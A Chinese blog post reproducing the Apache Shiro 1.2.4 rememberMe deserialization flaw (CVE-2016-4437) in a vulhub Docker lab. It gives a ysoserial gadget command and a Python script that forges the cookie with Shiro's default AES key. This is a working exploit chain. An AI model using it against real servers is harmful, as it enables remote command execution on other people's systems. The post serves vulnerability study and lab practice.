首页 > 技术文章 > shiro 1.2.4漏洞复现

blankunbeaten 2021-05-10 16:30 原文

shiro 1.2.4漏洞复现

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/shiro/CVE-2016-4437/
docker-compose up -d

访问8080端口即可,由于我docker映射的8082端口所以访问的就是8082端口


影响版本

Apache Shiro <= 1.2.4


漏洞复现

点击登陆抓包,一般响应包带有rememberMe=deleteMe一般就是shiro搭建的站点

使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "touch /tmp/EDI" > poc.ser

使用Shiro内置的默认密钥对Payload进行加密:

import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme()
    print("rememberMe={0}".format(payload.decode()))

把生成的payload替换到cookie中,然后放包

进入docker容器查看发现创建的文件

推荐阅读